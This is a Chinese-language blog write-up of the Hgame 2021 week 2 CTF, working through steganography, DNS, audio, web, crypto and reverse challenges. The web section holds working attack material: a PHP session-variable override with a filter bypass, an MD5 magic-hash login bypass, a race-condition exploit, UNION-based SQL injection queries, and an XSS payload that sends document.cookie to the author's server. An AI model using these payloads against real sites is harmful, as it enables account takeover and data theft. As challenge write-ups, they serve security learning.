CTF | 2021 Hgame Week2 WriteUp


引言

开门见山,这篇是 Hgame 2021 第二周的 WriteUp 啦。

第一周的详见 CTF | 2021 Hgame Week1 WriteUp

Misc

Tools

工欲善其事,必先利其器。

https://1.oss.hgame2021.vidar.club/tools_21d9ccfca5a4321d6256038d3e885b6d.zip

F5 解 Matryoshka.jpg

$ java Extract Matryoshka.jpg -p "!LyJJ9bi&M7E72*JyD"
Huffman decoding starts
Permutation starts
577536 indices shuffled
Extraction starts
Length of embedded file: 18 bytes
(1, 127, 7) code used

得到 e@317S*p1A4bIYIs1M

解压

# A7SL9nHRJXLh@$EbE8
$ steghide.exe extract -sf "01.jpg" -p "A7SL9nHRJXLh@$EbE8"
wrote extracted data to "pwd.txt".

u0!FO4JUhl5!L55%$&

02.jpg:z0GFieYAee%gdf0%lF

$ outguess -k "z0GFieYAee%gdf0%lF" -r 02.jpg output.txt 
Reading 02.jpg....
Extracting usable bits:   4930 bits
Steg retrieve: seed: 184, len: 18
$ cat output.txt 
@UjXL93044V5zl2ZKI

有毒,我用新版 https://github.com/resurrecting-open-source-projects/outguess 这个出来是乱码……

要用旧版的 https://github.com/crorvick/outguess,然后编译安装。

./configure && make

03.jpg: rFQmRoT5lze@4X4^@0

到这里其实就可以扫出来了~

hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}

不过还是做一下吧。

jphs

xSRejK1^Z1Cp9M!z@H

最后拼成一整个。

all

DNS

A significant invention.

https://1.oss.hgame2021.vidar.club/dns_250e1c3c63209fd5546937be4f41cb39.pcapng

流量包

从抓到的流量可以看到 DNS 查询,以及访问了一个域名为 flag.hgame2021.cf 的网站。

BTW, 这是个免费域名,套了 CloudFlare。

访问提示 Do you know SPF?

发件人策略框架(英语:Sender Policy Framework;简称SPFRFC 4408)是一套电子邮件认证机制,可以确认电子邮件确实是由网域授权的邮件服务器寄出,防止有人伪冒身份网络钓鱼或寄出垃圾电邮。SPF允许管理员设定一个DNS TXT记录SPF记录设定发送邮件服务器的IP范围,如有任何邮件并非从上述指明授权的IP地址寄出,则很可能该邮件并非确实由真正的寄件者寄出(邮件上声称的“寄件者”为假冒)。

Via wikipedia (English version)

配域名邮箱的时候就整过,一般是需要设个 TXT 记录。

那就 dig 看看吧。

flag

hgame{D0main_N4me_5ystem}

(嘿嘿,老套路了

Telegraph:1601 6639 3459 3134 0892

他曾经最喜欢的曲师写的曲子,让人犹如漫步在星空之下,可如今他听见只觉得反胃。
由于文件名过长,单独给出附件的md5: E5C3EE3F441B860B07A3ADCD98BFFC00
请将flag以hgame{your_flag_here}形式提交,flag为全大写。

[https://1.oss.hgame2021.vidar.club/Telegraph%EF%BC%9A1601%206639%203459%203134%200892.mp3](https://1.oss.hgame2021.vidar.club/Telegraph:1601 6639 3459 3134 0892.mp3)

电报 1601 6639 3459 3134 0892

电报解码

解码得到 带通滤波器,喵,BPF 好东西。

拖进 Audacity,频谱图看到明显的 850Hz 字样。

850Hz

在 850Hz 范围上下设置带通滤波器后,在 1:10 - 1:35 之前听到了电报声音。

电报

其实对比一下也能看出来。

手工抄录一下。

-.-- --- ..- .-. ..-. .-.. .- --. .. ... ---... ....- --. ----- ----- -.. ... ----- -. --. -... ..- - -. ----- - ....- --. ----- ----- -.. -- .- -. ----- ...-- ----. ...-- .---- ----- -.- ..

解密得到

YOURFLAGIS:4G00DS0NGBUTN0T4G00DMAN039310KI

hgame{4G00DS0NGBUTN0T4G00DMAN039310KI}

Hallucigenia

“我们不仅弄错了他的上下,还颠倒了它的左右。”

https://1.oss.hgame2021.vidar.club/Hallucigenia_6aa99427e137e9e3563d83f5d639cc74.png

图片第0层里隐写了二维码

扫码得到

gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk=

base64 解码发现是倒着的 png

也就是下面这张图

1

上下(垂直)倒一下,得到 flag。

2

hgame{tenchi_souzou_dezain_bu}

Web

LazyDogR4U

www.zip 给了源码。

发现其实就只有6个有用文件。

config.ini 是用户配置,注意到这里的 testuser 密码 md5 是 0e 开头。

[global]
debug = true

[admin]
username = admin
pass_md5 = b02d455009d3cf71951ba28058b2e615

[testuser]
username = testuser
pass_md5 = 0e114902927253523756713132279690

Config.php 读取上面的配置文件,导入所有用户。

<?php
class Config{

    private static array $conf;
    /**
     * @var array|false
     */

    static function init(){
        self::$conf = parse_ini_file('config.ini', true);
    }

    static function getItem($section, $key){
        return self::$conf[$section][$key];
    }

    static function getAllUsers(): array
    {
        $users = self::$conf;
        unset($users['global']);
        return $users;
    }
}

Config::init();

lazy.php 这里把所有 GET / POST 进来的数据都直接赋值了,是漏洞点。

<?php
$filter = ["SESSION", "SEVER", "COOKIE", "GLOBALS"];

// 直接注册所有变量,这样我就能少打字力,芜湖~

foreach(array('_GET','_POST') as $_request){
    foreach ($$_request as $_k => $_v){
        foreach ($filter as $youBadBad){
            $_k = str_replace($youBadBad, '', $_k);
        }
        ${$_k} = $_v;
    }
}

// 自动加载类,这样我也能少打字力,芜湖~
function auto($class_name){
    require_once $class_name . ".php";
}
spl_autoload_register('auto');

User.php 定义 User 类

<?php


class User
{

    function login($username, $password){
        if(session_status() == 1){
            session_start();
        }
        $userList = $this->getUsersList();
        if(array_key_exists($username, $userList)){
            if(md5($password) == $userList[$username]['pass_md5']){
                $_SESSION['username'] = $username;
                return true;
            }else{
                return false;
            }
        }
        return false;
    }

    function logout(){
        unset($_SESSION['username']);
        session_destroy();
    }

    private function getUsersList(){
        return Config::getAllUsers();
    }
}

可以看到这里 密码比较是 MD5 弱类型比较

index.php

<?php
session_start();

require_once "lazy.php";

if(isset($_SESSION['username'])){
    header("Location: flag.php");
    exit();
}else{
    if(isset($username) && isset($password)){
        if((new User())->login($username, $password)){
            header("Location: flag.php");
            exit();
        }else{
            echo "<script>alert('食人的魔鬼尝试着向答案进发。')</script>";
        }
    }
}
?>

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
    <link rel="stylesheet" href="static/style.css">
</head>

<body>
<form class="box" action="" method="post">
    <h3 style="color: white">未授权的的怪物正在本页面登陆</h3>
    <input type="text" name="username" placeholder="Username">
    <input type="password" name="password" placeholder="Password">
    <input type="submit" value="尝试进入">
</form>
</body>

</html>

逻辑是用户登录,然后跳转到 flag.php

flag.php

<?php
session_start();
require_once 'lazy.php';
if(!isset($_SESSION['username'])){
    die('您配吗?');
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
    <link rel="stylesheet" href="static/style.css">
</head>

<body>
<form class="box" action="" method="post">
    <?php

    if($_SESSION['username'] === 'admin'){
        echo "<h3 style='color: white'>admin将于今日获取自己忠实的flag</h3>";
        echo "<h3 style='color: white'>$flag</h3>";
    }else{
        if($submit == "getflag"){
            echo "<h3 style='color: white'>{$_SESSION['username']}接近了问题的终点</h3>";
        }else{
            echo "<h3 style='color: white'>篡位者占领了神圣的页面</h3>";
        }
    }
        ?>
    <input type="submit" name="submit" value="getflag">
</form>
</body>

</html>

可以看到首先要有 $_SESSION['username'],其次这里有个表单,但不关键。

其实只需要在这里传参改掉 $_SESSION['username']admin 就可了。

于是构造 payload:

POST http://5588b617f8.lazy.r4u.top/
username=testuser&password=QNKCDZO

MD5弱类型

成功获得 $_SESSION['username'],而后直接 GET 传参改掉这个就好了。

注意它有个 filter,双写绕过就好了,即 _SESSSESSIONION[username]=admin.

(实际上这里并不需要登录 2333

GET http://5588b617f8.lazy.r4u.top/flag.php?_SESSSESSIONION%5Busername%5D=admin

双写绕过

hgame{R4U~!s-4-lazy~doG}

Extensive Reading

unset_记一道CTF题,里面讲了个有点类似的。

foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
        if($$__R) {
        foreach($$__R as $__k => $__v) {
            if(isset($$__k) && $$__k == $__v) unset($$__k);
        }
     }
}

Liki的生日礼物

Liki生日快要到了,她想要一台switch,你能帮帮她么?

https://birthday.liki.link

shop.js 里有一些接口相关代码

function login() {
    $.post("/API/?m=login",
        {
            name: $("#name").val(),
            password: $("#password").val()
        },
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                alert(message.data)
            } else if(message.status === "success"){
                location.href="shop.html"
            }
        }
    );
}

function register() {
    $.post("/API/?m=register",
        {
            name: $("#name").val(),
            password: $("#password").val()
        },
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                alert(message.data);
            } else if (message.status === "success") {
                alert(message.data);
                location.href = "index.html";
            }
        }
    );
}

function getinfo() {
    $.get("/API/?m=getinfo",
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                location.href = "index.html"
            }
            $("#money").text(message.data['money'])
            $("#num").text(message.data['num'])
        }
    );
}

function buy() {
    $.post("/API/?m=buy",
        data = $("#buy").serialize()  ,
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "error") {
                alert(message.data)
            } else {
                alert("兑换成功");
                getinfo();
            }
        },
    );
}

function logout() {
    $.get("/API/?m=logout",
        function (data, status) {
            var message = JSON.parse(data)
            if (message.status === "success") {
                alert(message.data);
                location.href = "index.html";
            }
        }
    );
}

function getflag() {
    $.get("/API/?m=getflag",
        function (data, status) {
            var message = JSON.parse(data)
            alert(message.data)
        }
    );
}

简单看了看发现没啥问题,也做了数据的合法性校验,比如大数溢出、float、负数啥的做不到。

于是考虑是 (数据库)条件竞争。也就是通过大量并发让服务器措手不及

利用多线程并发去执行同一个 buy 操作,以至于服务器处理的线程之间未能同步好所有请求,扣除余额和发放兑换券不能同时完成,从而就能超过52张兑换券了。

这里用 BurpSuite 的 Intruder 来实现。

先抓个包,每次兑换 5个兑换券。

兑换

选择 Null payloads,生成 100 个 payloads,然后再开 10 个线程并发执行。

瞬间就跑完了,然后刷新一下页面,兑换,拿到 flag。

拿到flag

hgame{L0ck_1s_TH3_S0lllut!on!!!}

所以要加锁呢。

BTW, 本来用 Python 多线程跑的,发现不行……估计开的不够多?

Extensive reading:

CTF中的条件竞争漏洞

例1:金额提现

例2:先存储文件,再判断是否合法,然后再删除。===> 写入 shell 木马

伪代码:

<?php
  if(isset($_GET['src'])){
    saveimg($_GET['src']);
    //得到保存路径filename
    //检查文件
    check(filename);
    if(不符合规范)
        delete(filename);
    else
        pass;
    //...
 }
?>

Post to zuckonit

d1gg12 新学了HTML,一起来看看他写的在线博客吧!

http://zuckonit.0727.site:7654

XSS

script.js 里有 API

$(function () {
    $.get("/code").done(function (data) {
        $('#captcha')[0].placeholder = "Code: md5(code)[:6] == " + data.code;
    });
    $("#send").click(function () {
        let contentInput = $("#content").val();
        if (contentInput !== "") {
            $.ajax({
                type: 'POST',
                url: '/send',
                data: {"content": contentInput}
                ,
                success: function (data) {
                    location.reload();
                }
                ,
                error: function (data) {
                    alert(data.responseText);
                }
                ,
            })
            $('#content').val("");
        }
    })
    ;
    $("#clear").click(function () {
        $.get("/clear");
        $('#output').html("");
    });
    $("#submit").click(function () {
        let code = $('#captcha').val();
        $.post("/submit", {'code': code}).done(function (data) {
            alert(data);
        });
    });
});

于是就构造 XSS 请求,可以发现他过滤了一些关键字,比如 script, http, https,而且用 img 的时候返回的字符倒序了。

那咱就倒过来写吧。

最开始是用 img 打到 https://xss.pt 上面的,后来有问题总是接收不到。

类似于这样

>gpj.pW3uo/tp.ssx//'=crs/gmi<img/src='//xss.pt/ou3Wp.jpg

干脆直接打到自己 VPS 上,用 url 算了。

注意 submit 的时候需要校验 md5,写个脚本爆破一下。

from hashlib import md5

for i in range(0xFFFFFFF):
    x = md5(str(i).encode()).hexdigest()[:6]
    if x == '612bbe':
        print(i)
        break

Payload:

"eikooc.tnemucod+'/倒过来的VPSIP//'=ferh.onitacol.wodniw"=rorreno/'#'=crs/gmi<
<img/src='#'/onerror="window.location.href='//VPSIP/'+document.cookie"

VPS 上拿到 cookie

然后带着这个 cookie 访问 /flag,拿到 flag

hgame{X5s_t0_GEt_@dm1n's_cOokies.}

200OK!!

hint: status 字段会有什么坏心思呢?
hint: 这些字符串存在哪里呢?变量?还是…?
今天你 PTSD 了吗?

https://200ok.liki.link

Header Status 字段 SQL 注入。

过滤了一些关键词,大小写混用来绕过,空格用 /**/ 绕过。

# GET https://200ok.liki.link/server.php
# 查询当前数据库
-1'/**/uNion/**/SelecT/**/database()#
week2sqli

# 查询所有数据库
-1'/**/uNion/**/SelecT/**/group_concAt(schema_name)/**/fRom/**/information_schema.schemata#
information_schema,mysql,performance_schema,sys,week2sqli

# 查询表名
-1'/**/uNion/**/SelecT/**/group_concAt(table_name)/**/frOm/**/information_schema.tables/**/wherE/**/table_schema=database()#
f1111111144444444444g,status

# 查询列名
-1'/**/uNion/**/SelecT/**/group_concAt(column_name)/**/frOm/**/information_schema.columns/**/wherE/**/table_name='f1111111144444444444g'#
ffffff14gggggg

# 查询字段值
-1'/**/uNion/**/SelecT/**/ffffff14gggggg/**/frOm/**/f1111111144444444444g#
hgame{Con9raTu1ati0n5+yoU_FXXK~Up-tH3,5Q1!!=)}

Crypto

signin

task:

from libnum import *
from Crypto.Util import number

from secret import FLAG

m = s2n(FLAG)
a = number.getPrime(1024)
p = number.getPrime(1024)

c = a ** p * m % p

print("a = {}".format(a))
print("p = {}".format(p))
print("c = {}".format(c))
# a = 164082656705280243691125701366387366083595671395343593709662689631005563420712514013315976102671561607316385961761351750099262566476484522886282723886520916918141054995957297228003062477122757133630754605589171370142255727815498152265374544695303477525391985791134432904658602561841437101787689055904235722543
# p = 119737975692964086468800522901334964831462403986044100108042760900964357796378935817727112428450685227062069911631189059668095468384251497619994295762904825142670700856495550090451162130895038569427260669297398177894831568054918372123884561767488134043298231005288709340276215664659982597587377569232740821383
# c = 61634913046503959178216377910203847308428571260648767327608998821120378164975042475439460895394673980137101460250286330274948376187417345460266021486815411513611233649751971142112272707408612929020818762110963149534344745362620646443064201836579453768233731326328543553543287448234680170625258920657056312732

(a + b) % n ≡ (a % n + b % n) % n
(a - b) % n ≡ (a % n - b % n) % n
(a * b) % n ≡ (a % n * b % n) % n
(a ^ b) % n ≡ ((a % n) ^ b) % n //幂运算

若 a ≡ b (mod n),则

  1. 对于任意正整数c,有 a^c ≡ b^c (mod n)
  2. 对于任意整数c,有 ac ≡ bc (mod n), a+c ≡ b+c (mod n),
  3. 若 c ≡ d(mod n),则 a-c ≡ b-d(mod n), a+c ≡ b+d(mod n), ac ≡ bd(mod n)

如果 ac≡bc (mod m),且c和m互质,则 a≡b (mod m)。
[理解:当且仅当c和m互质,c^-1存在,等式左右可同乘模逆。]

除法规则:
在模n意义下,a/b不再仅仅代表这两个数相除,而是指 a + k1 * n 和 b + k2 * n 这两个组数中任意两个相除,使商为整数
因此也就可以理解,除以一个数等价于乘以它的逆
a/b ≡ c(mod n) <=> a ≡ c * (b^-1) (mod n),其中b模n的逆记作b的负一次方。

费马小定理:
a是整数,p是质数,则 a^p==a (mod p),如果 a 不是 p 的倍数,还有 a^(p-1) ≡ 1 (mod p)

See Also: 模运算总结取模运算涉及的算法

在这题里面,就可以化简一下。

$$
c = a ^ p \cdot m \bmod p \\
\ = a \cdot m \bmod p \\
\Rightarrow
m = c \cdot a^{-1} \bmod p
$$

Exp:

from libnum import *
import gmpy2

a = gmpy2.mpz(164082656705280243691125701366387366083595671395343593709662689631005563420712514013315976102671561607316385961761351750099262566476484522886282723886520916918141054995957297228003062477122757133630754605589171370142255727815498152265374544695303477525391985791134432904658602561841437101787689055904235722543)
p = gmpy2.mpz(119737975692964086468800522901334964831462403986044100108042760900964357796378935817727112428450685227062069911631189059668095468384251497619994295762904825142670700856495550090451162130895038569427260669297398177894831568054918372123884561767488134043298231005288709340276215664659982597587377569232740821383)
c = gmpy2.mpz(61634913046503959178216377910203847308428571260648767327608998821120378164975042475439460895394673980137101460250286330274948376187417345460266021486815411513611233649751971142112272707408612929020818762110963149534344745362620646443064201836579453768233731326328543553543287448234680170625258920657056312732)

x = gmpy2.invert(a, p)
m = c * x % p
print(m)
print(n2s(int(m)))
# 3741406882261031073760817995303276732942491822855369918885665586853805791130867897899676088764261025784189
# b'hgame{M0du1@r_m4th+1s^th3~ba5is-Of=cRypt0!!}'

WhitegiveRSA

N = 882564595536224140639625987659416029426239230804614613279163
e = 65537
c = 747831491353896780365654517748216624798517769637260742155527

p, q = 857504083339712752489993810777, 1029224947942998075080348647219

hgame{w0w~yOU_kNoW+R5@!}

Extensive reading:

CTF中常见的RSA相关问题总结

gcd or more?

from libnum import *
from secret import FLAG

p = 85228565021128901853314934583129083441989045225022541298550570449389839609019
q = 111614714641364911312915294479850549131835378046002423977989457843071188836271
n = p * q

cipher = pow(s2n(FLAG), 2, n)
print(cipher)
# 7665003682830666456193894491015989641647854826647177873141984107202099081475984827806007287830472899616818080907276606744467453445908923054975393623509539

参考 Rabin加密算法和n次同余方程Rabin cryptosystem

正好符合加密的逻辑

选择两个大素数p和q做为私钥

计算n = p * q做为公钥

若明文为m,则密文为c ≡ m^2 (mod n)

解密:

  1. Compute the square root of $c$ modulo $p$ and $q$ using these formulas:

$$
{\displaystyle {\begin{aligned}
m_{p}=c^{\frac {1}{4}(p+1)}{\bmod {p}} \\
m_{q}=c^{\frac {1}{4}(q+1)}{\bmod {q}}
\end{aligned}}}
$$

  1. Use the extended Euclidean algorithm to find $y_{p}$ and $y_{q}$ such that $$ y_{p}\cdot p+y_{q}\cdot q=1 $$
  2. Use the Chinese remainder theorem to find the four square roots of $c$ modulo $n$:

$$
r_{1}=\left(y_{p}\cdot p\cdot m_{q}+y_{q}\cdot q\cdot m_{p}\right){\bmod {n}} \\
r_{2}=n-r_{1} \\
r_{3}=\left(y_{p}\cdot p\cdot m_{q}-y_{q}\cdot q\cdot m_{p}\right){\bmod {n}} \\
r_{4}=n-r_{3}
$$

One of these four values is the original plaintext $m$.

四个解中有一个就是密文 m。

注意到这里的 p, q % 4 == 3.

Exp:

from gmpy2 import *
from random import randint
from Crypto.Util.number import getPrime
from libnum import *


def power(s1, s2, k1, k2, w, p):
    return ((s1*k1+s2*k2*w) % p, (s1*k2+s2*k1) % p)


def Cipolla_algorithm(p, n):
    a = randint(1, p)
    w = a ** 2 - n
    while pow(w, (p-1)//2, p) != p-1:
        a = randint(1, p)
        w = a ** 2 - n
    times = (p+1)//2
    k1 = 1
    k2 = 0
    first = True
    sum1 = 1
    sum2 = 0
    while times != 0:
        if first:
            k1, k2 = power(k1, k2, a, 1, w, p)
            first = False
        else:
            k1, k2 = power(k1, k2, k1, k2, w, p)
        if times & 1:
            sum1, sum2 = power(sum1, sum2, k1, k2, w, p)
        times >>= 1
    return sum1


def CRT(c, n):
    for i in range(len(n)):
        for j in range(i + 1, len(n)):
            assert gcd(n[i], n[j]) == 1
    assert len(c) == len(n)

    N = reduce(lambda a, b: a*b, n)
    x = 0
    for i, j in zip(c, n):
        N_i = N // j
        N_i_1 = invert(N_i, j)
        x += i*N_i*N_i_1
    return x % N


if __name__ == '__main__':
    p = 85228565021128901853314934583129083441989045225022541298550570449389839609019
    q = 111614714641364911312915294479850549131835378046002423977989457843071188836271
    n = p * q
    c = 7665003682830666456193894491015989641647854826647177873141984107202099081475984827806007287830472899616818080907276606744467453445908923054975393623509539

    get_x1 = Cipolla_algorithm(p, c)
    get_x2 = Cipolla_algorithm(q, c)

    assert pow(get_x1, 2, p) == c % p
    assert pow(get_x2, 2, q) == c % q

    c11 = get_x1
    c12 = p-get_x1
    c21 = get_x2
    c22 = q-get_x2

    print('possible m: ' + str(n2s(int(CRT([c11, c21], [p, q])))))
    print('possible m: ' + str(n2s(int(CRT([c11, c22], [p, q])))))
    print('possible m: ' + str(n2s(int(CRT([c12, c21], [p, q])))))
    print('possible m: ' + str(n2s(int(CRT([c12, c22], [p, q])))))
# possible m: b'hgame{3xgCd~i5_re4l1y+e@sy^r1ght?}'
# possible m: b'z\x95\x82\x00R3\x1d\x11\xb3\x02Q\xb8\x1f\xcd\xe0\xd0\xbeC\xc31%\xa8]* \t\xdb\xf1v\x87O\xf9 \x15\xbc\xcc+\xe0\xebf\xc4\xd4k\nJ\xfbN\x03\\\xcc\x7f\x00\xa9\x90\xd8l\xef\x98\xce^\xd3\xbd72'
# possible m: b';\x0b\xe7ra \x82\x1fXQ/\xa1V.\xb9\x91\xc2\xd1{\x9d\xe4;n\x9f\xbb\xd7\xeb\x15\xa8\xc6b\x1e\xb0d\x04^\x000\x0f\xa8\x9a\xfe\xa4\x05|\x9d\xa4}s\x05z\x94\xe9\x80\xda=97R\x00?6A\xa3'
# possible m: b'\xb5\xa1ir\xb3S\x9f1\x0bS\x81Yu\xfc\x9ab\x81\x15>\xcf\t\xe3\xcb\xc9\xdb\xe1\xc7\x07\x1fMI\xb0o\x0c[\xae\xf8\x98\x93\xcb\xfbT\xa5\xdah&\x8dLc\xa0\x80j-\xd1?0\xca]\xee\xf7\xaa\x7f9X'

hgame{3xgCd~i5_re4l1y+e@sy^r1ght?}

Reverse

fake_debugger beta

你写了一个什么奇怪的debugger?这东西能用?看起来规则也不太一样?

nc 101.132.177.131 9999

空格 + 回车进行单步调试。

可以发现 ecx 是下标。

首先开头肯定是 hgame{

于是可以写个脚本遍历每一位的字母,如果不提示 Wrong Flag! Try again! 则说明对了。

后来发现这么不行。

再看了亿下,正确的下一个字符是 zf 分别为 0 和 1 的 ebx 的值相互异或的那个。

于是就好办了,直接提取一下,异或完事!

(我是 fw,这个脚本我写了贼久,刚开始是爆破密码,跑着一直不对,后来发现了异或就行,再后来才发现其实是循环跳出条件我写错了

(爆破解/异或解都行

"""
fake_debugger beta
MiaoTony
"""

import re
from pwn import *

context.log_level = 'debug'
context.timeout = 10

def challenge(payload_raw: str):
    sh = remote('101.132.177.131', 9999)
    sh.recvuntil("Please input you flag now!\n")
    payload = payload_raw.ljust(25, 'D')
    sh.sendline(payload)
    r = sh.recvuntil('--------------INFO--------------\n').decode()
    while True:
        try:
            sh.sendline(' ')
            r = sh.recvuntil('--------------INFO--------------\n').decode()
        except EOFError:
            print("ERROR!!!!!")
            return False, ''

        ecx = re.search(r"ecx: (\d+)", r).group(1)
        zf = re.search(r"zf: (\d+)", r).group(1)
        ebx = re.search(r"ebx: (\d+)", r).group(1)
        print("======================== ecx:", ecx)
        if int(ecx) == len(payload_raw):
            if zf == '0':
                ebx0 = ebx
            else:
                s_next = chr(int(ebx0) ^ int(ebx))
                print(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> Next is", s_next)
                return True, s_next

s = "hgame{"
while True:
    print('======================================================>', s)
    isTrue, i = challenge(s)
    if isTrue:
        s += i
    print('<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<', len(s), s)
    if i == '}':
        break

flag

小结

第二周题目还好还好。

AK 了 Misc,后面几天过年就没看了 233.

喵呜,binary 好难不会做,嘤嘤嘤。(抄第一周的,我是 fw 好菜啊

新年快乐喵!

有兴趣的话欢迎来看看咱自己整的 MeowGame 解谜闯关吧,详见 2021 牛年大吉!又是一年解谜闯关

(溜了溜了


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录